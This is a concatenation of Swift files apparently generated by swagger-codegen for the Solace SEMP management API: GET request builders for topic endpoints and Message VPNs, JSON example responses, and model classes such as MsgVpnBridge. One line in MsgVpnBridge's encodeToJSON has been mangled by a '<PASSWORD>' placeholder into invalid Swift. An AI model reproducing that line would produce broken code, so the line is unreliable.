- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpnTopicEndpoints(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnTopicEndpointsResponse?, error: ErrorType?) -> Void)) {
getMsgVpnTopicEndpointsWithRequestBuilder(msgVpnName: msgVpnName, count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of Topic Endpoint objects.
- GET /msgVpns/{msgVpnName}/topicEndpoints
- Gets a list of Topic Endpoint objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: msgVpnName|x|| topicEndpointName|x|| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.1.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"maxBindCount" : 0,
"owner" : "owner",
"topicEndpointName" : "topicEndpointName",
"maxSpoolUsage" : 5,
"egressEnabled" : true,
"maxTtl" : 2,
"respectTtlEnabled" : true,
"permission" : "no-access",
"rejectLowPriorityMsgLimit" : 7,
"eventSpoolUsageThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"maxRedeliveryCount" : 5,
"maxMsgSize" : 1,
"accessType" : "exclusive",
"deadMsgQueue" : "deadMsgQueue",
"ingressEnabled" : true,
"rejectMsgToSenderOnDiscardBehavior" : "always",
"consumerAckPropagationEnabled" : true,
"eventBindCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"respectMsgPriorityEnabled" : true,
"eventRejectLowPriorityMsgLimitThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"msgVpnName" : "msgVpnName",
"maxDeliveredUnackedMsgsPerFlow" : 6,
"rejectLowPriorityMsgEnabled" : true
}, {
"maxBindCount" : 0,
"owner" : "owner",
"topicEndpointName" : "topicEndpointName",
"maxSpoolUsage" : 5,
"egressEnabled" : true,
"maxTtl" : 2,
"respectTtlEnabled" : true,
"permission" : "no-access",
"rejectLowPriorityMsgLimit" : 7,
"eventSpoolUsageThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"maxRedeliveryCount" : 5,
"maxMsgSize" : 1,
"accessType" : "exclusive",
"deadMsgQueue" : "deadMsgQueue",
"ingressEnabled" : true,
"rejectMsgToSenderOnDiscardBehavior" : "always",
"consumerAckPropagationEnabled" : true,
"eventBindCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"respectMsgPriorityEnabled" : true,
"eventRejectLowPriorityMsgLimitThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"msgVpnName" : "msgVpnName",
"maxDeliveredUnackedMsgsPerFlow" : 6,
"rejectLowPriorityMsgEnabled" : true
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"uri" : "uri"
}, {
"uri" : "uri"
} ]
}}]
- parameter msgVpnName: (path) The msgVpnName of the Message VPN.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnTopicEndpointsResponse>
*/
public class func getMsgVpnTopicEndpointsWithRequestBuilder(msgVpnName msgVpnName: String, count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnTopicEndpointsResponse> {
var path = "/msgVpns/{msgVpnName}/topicEndpoints"
path = path.stringByReplacingOccurrencesOfString("{msgVpnName}", withString: "\(msgVpnName)", options: .LiteralSearch, range: nil)
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnTopicEndpointsResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
/**
Gets a list of Message VPN objects.
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- parameter completion: completion handler to receive the data and the error objects
*/
public class func getMsgVpns(count count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil, completion: ((data: MsgVpnsResponse?, error: ErrorType?) -> Void)) {
getMsgVpnsWithRequestBuilder(count: count, cursor: cursor, _where: _where, select: select).execute { (response, error) -> Void in
completion(data: response?.body, error: error);
}
}
/**
Gets a list of Message VPN objects.
- GET /msgVpns
- Gets a list of Message VPN objects. Attribute|Identifying|Write-Only|Deprecated :---|:---:|:---:|:---: msgVpnName|x|| replicationBridgeAuthenticationBasicPassword||x| replicationBridgeAuthenticationClientCertContent||x| replicationBridgeAuthenticationClientCertPassword||x| replicationEnabledQueueBehavior||x| A SEMP client authorized with a minimum access scope/level of \"vpn/readonly\" is required to perform this operation. This has been available since 2.0.
- BASIC:
- type: basic
- name: basicAuth
- examples: [{contentType=application/json, example={
"data" : [ {
"serviceMqttMaxConnectionCount" : 6,
"authorizationProfileName" : "authorizationProfileName",
"replicationBridgeAuthenticationClientCertPassword" : "<PASSWORD>",
"replicationBridgeEgressFlowWindowSize" : 4,
"restTlsServerCertMaxChainDepth" : 9,
"serviceRestIncomingPlainTextEnabled" : true,
"replicationEnabled" : true,
"eventServiceWebConnectionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"bridgingTlsServerCertValidateDateEnabled" : true,
"authorizationType" : "ldap",
"replicationAckPropagationIntervalMsgCount" : 1,
"bridgingTlsServerCertMaxChainDepth" : 6,
"replicationBridgeCompressedDataEnabled" : true,
"serviceAmqpPlainTextEnabled" : true,
"bridgingTlsServerCertEnforceTrustedCommonNameEnabled" : true,
"restTlsServerCertValidateDateEnabled" : true,
"eventTransactedSessionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"authenticationKerberosEnabled" : true,
"authorizationLdapGroupMembershipAttributeName" : "authorizationLdapGroupMembershipAttributeName",
"serviceRestIncomingPlainTextListenPort" : 6,
"authenticationClientCertUsernameSource" : "common-name",
"replicationBridgeAuthenticationClientCertContent" : "replicationBridgeAuthenticationClientCertContent",
"eventSubscriptionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"serviceMqttPlainTextListenPort" : 3,
"authenticationClientCertMaxChainDepth" : 0,
"serviceMqttWebSocketEnabled" : true,
"authenticationClientCertEnabled" : true,
"restTlsServerCertEnforceTrustedCommonNameEnabled" : true,
"replicationRejectMsgWhenSyncIneligibleEnabled" : true,
"eventPublishTopicFormatSmfEnabled" : true,
"authenticationBasicProfileName" : "authenticationBasicProfileName",
"enabled" : true,
"replicationBridgeAuthenticationScheme" : "basic",
"replicationBridgeUnidirectionalClientProfileName" : "replicationBridgeUnidirectionalClientProfileName",
"serviceRestIncomingMaxConnectionCount" : 6,
"sempOverMsgBusEnabled" : true,
"maxTransactionCount" : 7,
"serviceAmqpTlsListenPort" : 9,
"serviceMqttTlsListenPort" : 6,
"eventServiceAmqpConnectionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"serviceRestMode" : "gateway",
"serviceRestIncomingTlsEnabled" : true,
"authenticationKerberosAllowApiProvidedUsernameEnabled" : true,
"sempOverMsgBusAdminDistributedCacheEnabled" : true,
"maxSubscriptionCount" : 1,
"authenticationBasicType" : "internal",
"serviceWebMaxConnectionCount" : 3,
"serviceAmqpMaxConnectionCount" : 6,
"maxEgressFlowCount" : 4,
"serviceMqttWebSocketListenPort" : 2,
"serviceSmfPlainTextEnabled" : true,
"maxEndpointCount" : 7,
"serviceWebTlsEnabled" : true,
"serviceMqttTlsWebSocketEnabled" : true,
"exportSubscriptionsEnabled" : true,
"eventIngressMsgRateThreshold" : {
"setValue" : 9,
"clearValue" : 7
},
"eventPublishSubscriptionMode" : "off",
"serviceMqttTlsEnabled" : true,
"eventConnectionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"serviceSmfTlsEnabled" : true,
"eventLargeMsgThreshold" : 3,
"serviceRestIncomingTlsListenPort" : 5,
"replicationQueueRejectMsgToSenderOnDiscardEnabled" : true,
"eventTransactionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"eventPublishMsgVpnEnabled" : true,
"sempOverMsgBusShowEnabled" : true,
"serviceWebPlainTextEnabled" : true,
"msgVpnName" : "msgVpnName",
"eventEndpointCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"sempOverMsgBusAdminEnabled" : true,
"eventEgressFlowCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"eventServiceRestIncomingConnectionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"eventMsgSpoolUsageThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"serviceSmfMaxConnectionCount" : 3,
"jndiEnabled" : true,
"serviceMqttPlainTextEnabled" : true,
"eventPublishClientEnabled" : true,
"replicationQueueMaxMsgSpoolUsage" : 9,
"eventServiceMqttConnectionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"sempOverMsgBusAdminClientEnabled" : true,
"tlsAllowDowngradeToPlainTextEnabled" : true,
"maxConnectionCount" : 2,
"serviceRestOutgoingMaxConnectionCount" : 6,
"replicationBridgeTlsEnabled" : true,
"authenticationClientCertRevocationCheckMode" : "allow-all",
"authenticationClientCertAllowApiProvidedUsernameEnabled" : true,
"eventServiceSmfConnectionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"serviceAmqpPlainTextListenPort" : 8,
"authenticationClientCertValidateDateEnabled" : true,
"serviceAmqpTlsEnabled" : true,
"eventEgressMsgRateThreshold" : {
"setValue" : 9,
"clearValue" : 7
},
"replicationTransactionMode" : "sync",
"replicationRole" : "active",
"authenticationBasicRadiusDomain" : "authenticationBasicRadiusDomain",
"replicationEnabledQueueBehavior" : "fail-on-existing-queue",
"replicationBridgeRetryDelay" : 5,
"eventLogTag" : "eventLogTag",
"distributedCacheManagementEnabled" : true,
"serviceMqttTlsWebSocketListenPort" : 1,
"replicationBridgeAuthenticationBasicClientUsername" : "replicationBridgeAuthenticationBasicClientUsername",
"replicationBridgeAuthenticationBasicPassword" : "<PASSWORD>",
"maxIngressFlowCount" : 1,
"maxTransactedSessionCount" : 6,
"eventPublishTopicFormatMqttEnabled" : true,
"authenticationBasicEnabled" : true,
"maxMsgSpoolUsage" : 1,
"eventIngressFlowCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
}
}, {
"serviceMqttMaxConnectionCount" : 6,
"authorizationProfileName" : "authorizationProfileName",
"replicationBridgeAuthenticationClientCertPassword" : "<PASSWORD>",
"replicationBridgeEgressFlowWindowSize" : 4,
"restTlsServerCertMaxChainDepth" : 9,
"serviceRestIncomingPlainTextEnabled" : true,
"replicationEnabled" : true,
"eventServiceWebConnectionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"bridgingTlsServerCertValidateDateEnabled" : true,
"authorizationType" : "ldap",
"replicationAckPropagationIntervalMsgCount" : 1,
"bridgingTlsServerCertMaxChainDepth" : 6,
"replicationBridgeCompressedDataEnabled" : true,
"serviceAmqpPlainTextEnabled" : true,
"bridgingTlsServerCertEnforceTrustedCommonNameEnabled" : true,
"restTlsServerCertValidateDateEnabled" : true,
"eventTransactedSessionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"authenticationKerberosEnabled" : true,
"authorizationLdapGroupMembershipAttributeName" : "authorizationLdapGroupMembershipAttributeName",
"serviceRestIncomingPlainTextListenPort" : 6,
"authenticationClientCertUsernameSource" : "common-name",
"replicationBridgeAuthenticationClientCertContent" : "replicationBridgeAuthenticationClientCertContent",
"eventSubscriptionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"serviceMqttPlainTextListenPort" : 3,
"authenticationClientCertMaxChainDepth" : 0,
"serviceMqttWebSocketEnabled" : true,
"authenticationClientCertEnabled" : true,
"restTlsServerCertEnforceTrustedCommonNameEnabled" : true,
"replicationRejectMsgWhenSyncIneligibleEnabled" : true,
"eventPublishTopicFormatSmfEnabled" : true,
"authenticationBasicProfileName" : "authenticationBasicProfileName",
"enabled" : true,
"replicationBridgeAuthenticationScheme" : "basic",
"replicationBridgeUnidirectionalClientProfileName" : "replicationBridgeUnidirectionalClientProfileName",
"serviceRestIncomingMaxConnectionCount" : 6,
"sempOverMsgBusEnabled" : true,
"maxTransactionCount" : 7,
"serviceAmqpTlsListenPort" : 9,
"serviceMqttTlsListenPort" : 6,
"eventServiceAmqpConnectionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"serviceRestMode" : "gateway",
"serviceRestIncomingTlsEnabled" : true,
"authenticationKerberosAllowApiProvidedUsernameEnabled" : true,
"sempOverMsgBusAdminDistributedCacheEnabled" : true,
"maxSubscriptionCount" : 1,
"authenticationBasicType" : "internal",
"serviceWebMaxConnectionCount" : 3,
"serviceAmqpMaxConnectionCount" : 6,
"maxEgressFlowCount" : 4,
"serviceMqttWebSocketListenPort" : 2,
"serviceSmfPlainTextEnabled" : true,
"maxEndpointCount" : 7,
"serviceWebTlsEnabled" : true,
"serviceMqttTlsWebSocketEnabled" : true,
"exportSubscriptionsEnabled" : true,
"eventIngressMsgRateThreshold" : {
"setValue" : 9,
"clearValue" : 7
},
"eventPublishSubscriptionMode" : "off",
"serviceMqttTlsEnabled" : true,
"eventConnectionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"serviceSmfTlsEnabled" : true,
"eventLargeMsgThreshold" : 3,
"serviceRestIncomingTlsListenPort" : 5,
"replicationQueueRejectMsgToSenderOnDiscardEnabled" : true,
"eventTransactionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"eventPublishMsgVpnEnabled" : true,
"sempOverMsgBusShowEnabled" : true,
"serviceWebPlainTextEnabled" : true,
"msgVpnName" : "msgVpnName",
"eventEndpointCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"sempOverMsgBusAdminEnabled" : true,
"eventEgressFlowCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"eventServiceRestIncomingConnectionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"eventMsgSpoolUsageThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"serviceSmfMaxConnectionCount" : 3,
"jndiEnabled" : true,
"serviceMqttPlainTextEnabled" : true,
"eventPublishClientEnabled" : true,
"replicationQueueMaxMsgSpoolUsage" : 9,
"eventServiceMqttConnectionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"sempOverMsgBusAdminClientEnabled" : true,
"tlsAllowDowngradeToPlainTextEnabled" : true,
"maxConnectionCount" : 2,
"serviceRestOutgoingMaxConnectionCount" : 6,
"replicationBridgeTlsEnabled" : true,
"authenticationClientCertRevocationCheckMode" : "allow-all",
"authenticationClientCertAllowApiProvidedUsernameEnabled" : true,
"eventServiceSmfConnectionCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
},
"serviceAmqpPlainTextListenPort" : 8,
"authenticationClientCertValidateDateEnabled" : true,
"serviceAmqpTlsEnabled" : true,
"eventEgressMsgRateThreshold" : {
"setValue" : 9,
"clearValue" : 7
},
"replicationTransactionMode" : "sync",
"replicationRole" : "active",
"authenticationBasicRadiusDomain" : "authenticationBasicRadiusDomain",
"replicationEnabledQueueBehavior" : "fail-on-existing-queue",
"replicationBridgeRetryDelay" : 5,
"eventLogTag" : "eventLogTag",
"distributedCacheManagementEnabled" : true,
"serviceMqttTlsWebSocketListenPort" : 1,
"replicationBridgeAuthenticationBasicClientUsername" : "replicationBridgeAuthenticationBasicClientUsername",
"replicationBridgeAuthenticationBasicPassword" : "<PASSWORD>",
"maxIngressFlowCount" : 1,
"maxTransactedSessionCount" : 6,
"eventPublishTopicFormatMqttEnabled" : true,
"authenticationBasicEnabled" : true,
"maxMsgSpoolUsage" : 1,
"eventIngressFlowCountThreshold" : {
"clearPercent" : 1,
"setPercent" : 5,
"setValue" : 2,
"clearValue" : 5
}
} ],
"meta" : {
"request" : {
"method" : "method",
"uri" : "uri"
},
"paging" : {
"nextPageUri" : "nextPageUri",
"cursorQuery" : "cursorQuery"
},
"error" : {
"code" : 0,
"description" : "description",
"status" : "status"
},
"responseCode" : 6
},
"links" : [ {
"clientProfilesUri" : "clientProfilesUri",
"topicEndpointsUri" : "topicEndpointsUri",
"jndiConnectionFactoriesUri" : "jndiConnectionFactoriesUri",
"clientUsernamesUri" : "clientUsernamesUri",
"bridgesUri" : "bridgesUri",
"replicatedTopicsUri" : "replicatedTopicsUri",
"aclProfilesUri" : "aclProfilesUri",
"sequencedTopicsUri" : "sequencedTopicsUri",
"uri" : "uri",
"jndiTopicsUri" : "jndiTopicsUri",
"replayLogsUri" : "replayLogsUri",
"queuesUri" : "queuesUri",
"restDeliveryPointsUri" : "restDeliveryPointsUri",
"mqttSessionsUri" : "mqttSessionsUri",
"authorizationGroupsUri" : "authorizationGroupsUri",
"jndiQueuesUri" : "jndiQueuesUri"
}, {
"clientProfilesUri" : "clientProfilesUri",
"topicEndpointsUri" : "topicEndpointsUri",
"jndiConnectionFactoriesUri" : "jndiConnectionFactoriesUri",
"clientUsernamesUri" : "clientUsernamesUri",
"bridgesUri" : "bridgesUri",
"replicatedTopicsUri" : "replicatedTopicsUri",
"aclProfilesUri" : "aclProfilesUri",
"sequencedTopicsUri" : "sequencedTopicsUri",
"uri" : "uri",
"jndiTopicsUri" : "jndiTopicsUri",
"replayLogsUri" : "replayLogsUri",
"queuesUri" : "queuesUri",
"restDeliveryPointsUri" : "restDeliveryPointsUri",
"mqttSessionsUri" : "mqttSessionsUri",
"authorizationGroupsUri" : "authorizationGroupsUri",
"jndiQueuesUri" : "jndiQueuesUri"
} ]
}}]
- parameter count: (query) Limit the count of objects in the response. See [Count](#count \"Description of the syntax of the `count` parameter\"). (optional, default to 10)
- parameter cursor: (query) The cursor, or position, for the next page of objects. See [Cursor](#cursor \"Description of the syntax of the `cursor` parameter\"). (optional)
- parameter _where: (query) Include in the response only objects where certain conditions are true. See [Where](#where \"Description of the syntax of the `where` parameter\"). (optional)
- parameter select: (query) Include in the response only selected attributes of the object, or exclude from the response selected attributes of the object. See [Select](#select \"Description of the syntax of the `select` parameter\"). (optional)
- returns: RequestBuilder<MsgVpnsResponse>
*/
public class func getMsgVpnsWithRequestBuilder(count count: Int32? = nil, cursor: String? = nil, _where: [String]? = nil, select: [String]? = nil) -> RequestBuilder<MsgVpnsResponse> {
let path = "/msgVpns"
let URLString = solace_semp_clientAPI.basePath + path
let nillableParameters: [String:AnyObject?] = [
"count": count?.encodeToJSON(),
"cursor": cursor,
"where": _where,
"select": select
]
let parameters = APIHelper.rejectNil(nillableParameters)
let convertedParameters = APIHelper.convertBoolToString(parameters)
let requestBuilder: RequestBuilder<MsgVpnsResponse>.Type = solace_semp_clientAPI.requestBuilderFactory.getBuilder()
return requestBuilder.init(method: "GET", URLString: URLString, parameters: convertedParameters, isBody: false)
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnReplicatedTopic.swift
//
// MsgVpnReplicatedTopic.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnReplicatedTopic: JSONEncodable {
public enum ReplicationMode: String {
case Sync = "sync"
case Async = "async"
}
/** The name of the Message VPN. */
public var msgVpnName: String?
/** Topic for applying replication. Published messages matching this topic will be replicated to the standby site. */
public var replicatedTopic: String?
/** Choose the replication-mode for the Replicated Topic. The default value is `\"async\"`. The allowed values and their meaning are: <pre> \"sync\" - Synchronous replication-mode. Published messages are acknowledged when they are spooled on the standby site. \"async\" - Asynchronous replication-mode. Published messages are acknowledged when they are spooled locally. </pre> Available since 2.1. */
public var replicationMode: ReplicationMode?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["replicatedTopic"] = self.replicatedTopic
nillableDictionary["replicationMode"] = self.replicationMode?.rawValue
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/EventThreshold.swift
//
// EventThreshold.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class EventThreshold: JSONEncodable {
/** The clear threshold for the value of this counter as percentage of its maximum value. Falling below this value will trigger a corresponding Event. */
public var clearPercent: Int64?
/** The clear threshold for the absolute value of this counter. Falling below this value will trigger a corresponding Event. */
public var clearValue: Int64?
/** The set threshold for the value of this counter as percentage of its maximum value. Exceeding this value will trigger a corresponding Event. */
public var setPercent: Int64?
/** The set threshold for the absolute value of this counter. Exceeding this value will trigger a corresponding Event. */
public var setValue: Int64?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["clearPercent"] = self.clearPercent?.encodeToJSON()
nillableDictionary["clearValue"] = self.clearValue?.encodeToJSON()
nillableDictionary["setPercent"] = self.setPercent?.encodeToJSON()
nillableDictionary["setValue"] = self.setValue?.encodeToJSON()
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnBridge.swift
//
// MsgVpnBridge.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnBridge: JSONEncodable {
public enum BridgeVirtualRouter: String {
case Primary = "primary"
case Backup = "backup"
case Auto = "auto"
}
public enum RemoteAuthenticationScheme: String {
case Basic = "basic"
case ClientCertificate = "client-certificate"
}
public enum RemoteDeliverToOnePriority: String {
case P1 = "p1"
case P2 = "p2"
case P3 = "p3"
case P4 = "p4"
case Da = "da"
}
/** The name of the Bridge. */
public var bridgeName: String?
/** Specify whether the Bridge is configured for the primary or backup Virtual Router or auto configured. The allowed values and their meaning are: <pre> \"primary\" - The Bridge is used for the primary Virtual Router. \"backup\" - The Bridge is used for the backup Virtual Router. \"auto\" - The Bridge is automatically assigned a Router. </pre> */
public var bridgeVirtualRouter: BridgeVirtualRouter?
/** Enable or disable the Bridge. The default value is `false`. */
public var enabled: Bool?
/** The maximum number of hops (intermediate routers through which data must pass between source and destination) that can occur before the message is discarded. When the Bridge sends a message to the remote router, the message TTL value is assigned to the lower of the message current TTL or this value. The default value is `8`. */
public var maxTtl: Int64?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The Client Username that the Bridge uses to login to the Remote Message VPN. The default value is `\"\"`. */
public var remoteAuthenticationBasicClientUsername: String?
/** The password the Message VPN Bridge uses to login to the Remote Message VPN. The default is to have no `remoteAuthenticationBasicPassword`. */
public var remoteAuthenticationBasicPassword: String?
/** The PEM formatted content for the client certificate used by this bridge to login to the Remote Message VPN. It must consist of a private key and between one and three certificates comprising the certificate trust chain. The default value is `\"\"`. Available since 2.9. */
public var remoteAuthenticationClientCertContent: String?
/** The password for the client certificate used by this bridge to login to the Remote Message VPN. The default value is `\"\"`. Available since 2.9. */
public var remoteAuthenticationClientCertPassword: String?
/** The authentication scheme for the Remote Message VPN. The default value is `\"basic\"`. The allowed values and their meaning are: <pre> \"basic\" - Basic Authentication Scheme (via username and password). \"client-certificate\" - Client Certificate Authentication Scheme (via certificate file or content). </pre> */
public var remoteAuthenticationScheme: RemoteAuthenticationScheme?
/** The maximum number of attempts to establish a connection to the Remote Message VPN. The default value is `0`. */
public var remoteConnectionRetryCount: Int64?
/** The amount of time before making another attempt to connect to the Remote Message VPN after a failed one, in seconds. The default value is `3`. */
public var remoteConnectionRetryDelay: Int64?
/** The priority for deliver-to-one (DTO) messages sent from the Remote Message VPN to the Message VPN Bridge. The default value is `\"p1\"`. The allowed values and their meaning are: <pre> \"p1\" - Priority 1 (highest). \"p2\" - Priority 2. \"p3\" - Priority 3. \"p4\" - Priority 4 (lowest). \"da\" - Deliver Always. </pre> */
public var remoteDeliverToOnePriority: RemoteDeliverToOnePriority?
/** The list of cipher suites supported for TLS connections to the Remote Message VPN. The default value is `\"default\"`. */
public var tlsCipherSuiteList: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["bridgeName"] = self.bridgeName
nillableDictionary["bridgeVirtualRouter"] = self.bridgeVirtualRouter?.rawValue
nillableDictionary["enabled"] = self.enabled
nillableDictionary["maxTtl"] = self.maxTtl?.encodeToJSON()
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["remoteAuthenticationBasicClientUsername"] = self.remoteAuthenticationBasicClientUsername
nillableDictionary["remoteAuthenticationBasicPassword"] = <PASSWORD>AuthenticationBasic<PASSWORD>
nillableDictionary["remoteAuthenticationClientCertContent"] = self.remoteAuthenticationClientCertContent
nillableDictionary["remoteAuthenticationClientCertPassword"] = self.remoteAuthenticationClientCertPassword
nillableDictionary["remoteAuthenticationScheme"] = self.remoteAuthenticationScheme?.rawValue
nillableDictionary["remoteConnectionRetryCount"] = self.remoteConnectionRetryCount?.encodeToJSON()
nillableDictionary["remoteConnectionRetryDelay"] = self.remoteConnectionRetryDelay?.encodeToJSON()
nillableDictionary["remoteDeliverToOnePriority"] = self.remoteDeliverToOnePriority?.rawValue
nillableDictionary["tlsCipherSuiteList"] = self.tlsCipherSuiteList
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/Models/MsgVpnBridgeTlsTrustedCommonName.swift
//
// MsgVpnBridgeTlsTrustedCommonName.swift
//
// Generated by swagger-codegen
// https://github.com/swagger-api/swagger-codegen
//
import Foundation
public class MsgVpnBridgeTlsTrustedCommonName: JSONEncodable {
public enum BridgeVirtualRouter: String {
case Primary = "primary"
case Backup = "backup"
case Auto = "auto"
}
/** The name of the Bridge. */
public var bridgeName: String?
/** Specify whether the Bridge is configured for the primary or backup Virtual Router or auto configured. The allowed values and their meaning are: <pre> \"primary\" - The Bridge is used for the primary Virtual Router. \"backup\" - The Bridge is used for the backup Virtual Router. \"auto\" - The Bridge is automatically assigned a Router. </pre> */
public var bridgeVirtualRouter: BridgeVirtualRouter?
/** The name of the Message VPN. */
public var msgVpnName: String?
/** The expected trusted common name of the remote certificate. */
public var tlsTrustedCommonName: String?
public init() {}
// MARK: JSONEncodable
func encodeToJSON() -> AnyObject {
var nillableDictionary = [String:AnyObject?]()
nillableDictionary["bridgeName"] = self.bridgeName
nillableDictionary["bridgeVirtualRouter"] = self.bridgeVirtualRouter?.rawValue
nillableDictionary["msgVpnName"] = self.msgVpnName
nillableDictionary["tlsTrustedCommonName"] = self.tlsTrustedCommonName
let dictionary: [String:AnyObject] = APIHelper.rejectNil(nillableDictionary) ?? [:]
return dictionary
}
}
<file_sep>/solace_semp_client/Classes/Swaggers/APIs/JndiAPI.swift
//
// JndiAPI.swift
//
// Generated by swagger-codegen
